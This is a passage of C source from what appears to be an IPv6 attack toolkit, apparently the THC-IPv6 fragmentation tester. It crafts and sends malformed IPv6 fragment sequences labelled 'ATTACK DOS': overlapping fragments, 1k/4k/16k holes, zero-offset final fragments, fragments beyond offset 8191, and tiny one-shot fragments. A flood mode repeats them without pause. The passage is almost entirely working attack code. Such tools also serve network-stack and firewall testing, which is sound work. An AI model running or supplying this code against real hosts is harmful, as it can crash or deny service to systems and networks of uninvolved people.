= thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 101, 0, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 808, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf("ATTACK DOS %d - sending only first fragment\n", count); if (flood == 0 || curr == 0) printf(" Sending first fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, ++tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 400 + 8); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf("ATTACK DOS %d - sending only second fragment\n", count); if (flood == 0 || curr == 0) printf(" Sending second fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, ++tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 1051, 1, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf("ATTACK DOS %d - sending only last fragment\n", count); if (flood == 0 || curr == 0) printf(" Sending third and final fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, ++tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 7501, 0, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 808, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf( "ATTACK DOS %d - sending first, middle and final frag with 1k " "holes in between\n", count); if (flood == 0 || curr == 0) printf(" Sending first fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, ++tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 400 + 8); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (flood == 0 || curr == 0) printf(" Sending second fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 175, 1, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 175)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending third and final fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 350, 0, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 808, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf( "ATTACK DOS %d - sending first, middle and final frag with 4k " "holes in between\n", count); if (flood == 0 || curr == 0) printf(" Sending first fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, ++tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 400 + 8); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (flood == 0 || curr == 0) printf(" Sending second fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 550, 1, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 175)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending third and final fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 1110, 0, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 808, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf( "ATTACK DOS %d - sending first, middle and final frag with 16k " "holes in between\n", count); if (flood == 0 || curr == 0) printf(" Sending first fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, ++tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 400 + 8); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (flood == 0 || curr == 0) printf(" Sending second fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 2050, 1, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 175)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending third and final fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 4100, 0, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 808, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf("ATTACK DOS %d - one shot fragment without content\n", count); if (flood == 0 || curr == 0) printf(" Sending one-shot fragment with 0 byte TCP data\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, ++tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 0, 0xfacebabe + getpid() + count + curr)) return -1; if (thc_add_data6(pkt3, &pkt_len3, NXT_TCP, buf, 0)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf("ATTACK DOS %d - one shot fragment with 1 byte content\n", count); if (flood == 0 || curr == 0) printf(" Sending one-shot fragment with 1 byte TCP data\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, ++tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 0, 0xfacebabe + getpid() + count + curr)) return -1; if (thc_add_data6(pkt3, &pkt_len3, NXT_TCP, buf, 1)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf("ATTACK DOS %d - last fragment has offset 0 and no data\n", count); if (flood == 0 || curr == 0) printf(" Sending first fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 400 + 8); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending second fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending third and final fragment with offset 0\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 0, 0xfacebabe + getpid() + count + curr)) return -1; if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 0)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf("ATTACK DOS %d - last fragment has offset 0\n", count); if (flood == 0 || curr == 0) printf(" Sending first fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 400 + 8); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending second fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending third and final fragment with offset 0\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 0, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 1); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 1)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf("ATTACK DOS %d - last fragment has offset 1\n", count); if (flood == 0 || curr == 0) printf(" Sending first fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 400 + 8); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending second fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending third and final fragment with offset 1\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 1, 0, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 8, 1); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 1)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf("ATTACK DOS %d - last fragment at 8191 + 7 bytes\n", count); if (flood == 0 || curr == 0) printf(" Sending first fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, ++tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 400 + 8); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); // memset(buf, 'A', sizeof(buf)); if (flood == 0 || curr == 0) printf(" Sending fragments 2-46\n"); for (i = 0; i < 45; i++) { pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51 + i * 177, 1, 0xfacebabe + getpid() + count + curr)) return -1; if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 1416)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore } if (flood == 0 || curr == 0) printf(" Sending fragment %d (preparation fragment)\n", i + 2); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51 + 45 * 177, 1, 0xfacebabe + getpid() + count + curr)) return -1; if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, (8190 - (51 + 45 * 177)) * 8)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending final fragment with 8191 and sending 7 bytes\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 8191, 0, 0xfacebabe + getpid() + count + curr)) return -1; if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 7)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf("ATTACK DOS %d - last fragment at 8191 + 8 bytes\n", count); if (flood == 0 || curr == 0) printf(" Sending first fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, ++tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 400 + 8); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); memset(buf, 'A', sizeof(buf)); if (flood == 0 || curr == 0) printf(" Sending fragments 2-46\n"); for (i = 0; i < 45; i++) { pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51 + i * 177, 1, 0xfacebabe + getpid() + count + curr)) return -1; if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 1416)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore } if (flood == 0 || curr == 0) printf(" Sending fragment %d (preparation fragment)\n", i + 2); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51 + 45 * 177, 1, 0xfacebabe + getpid() + count + curr)) return -1; if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, (8190 - (51 + 45 * 177)) * 8)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending final fragment with 8191 and sending 8 bytes\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 8191, 0, 0xfacebabe + getpid() + count + curr)) return -1; if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 8)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf("ATTACK DOS %d - last fragment at 8191 + 9 bytes\n", count); if (flood == 0 || curr == 0) printf(" Sending first fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, ++tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 400 + 8); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); memset(buf, 'A', sizeof(buf)); if (flood == 0 || curr == 0) printf(" Sending fragments 2-46\n"); for (i = 0; i < 45; i++) { pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51 + i * 177, 1, 0xfacebabe + getpid() + count + curr)) return -1; if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 1416)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore } if (flood == 0 || curr == 0) printf(" Sending fragment %d (preparation fragment)\n", i + 2); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51 + 45 * 177, 1, 0xfacebabe + getpid() + count + curr)) return -1; if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, (8190 - (51 + 45 * 177)))) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending final fragment with 8191 and sending 9 bytes\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 8191, 0, 0xfacebabe + getpid() + count + curr)) return -1; if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 9)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf("ATTACK DOS %d - last fragment at 8191 + 1414 bytes\n", count); if (flood == 0 || curr == 0) printf(" Sending first fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, ++tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, 0xfacebabe + getpid() + count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 400 + 8); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); memset(buf, 'A', sizeof(buf)); if (flood == 0 || curr == 0) printf(" Sending fragments 2-46\n"); for (i = 0; i < 45; i++) { pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51 + i * 177, 1, 0xfacebabe + getpid() + count + curr)) return -1; if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 1416)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore } if (flood == 0 || curr == 0) printf(" Sending fragment %d (preparation fragment)\n", i + 2); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51 + 45 * 177, 1, 0xfacebabe + getpid() + count + curr)) return -1; if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, (8190 - (51 + 45 * 177)))) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending final fragment with 8191 and sending 1414 bytes\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, tos, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 8191, 0, 0xfacebabe + getpid() + count + curr)) return -1; if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 1414)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf("Multifragment %d - Level 1\n", count); hdr = (thc_ipv6_hdr *)pkt; if (flood == 0 || curr == 0) printf(" 1: A-first + B-first\n"); pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; // if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 0, 0x3aaaa)) // return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, 0x3bbbb)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 200); if 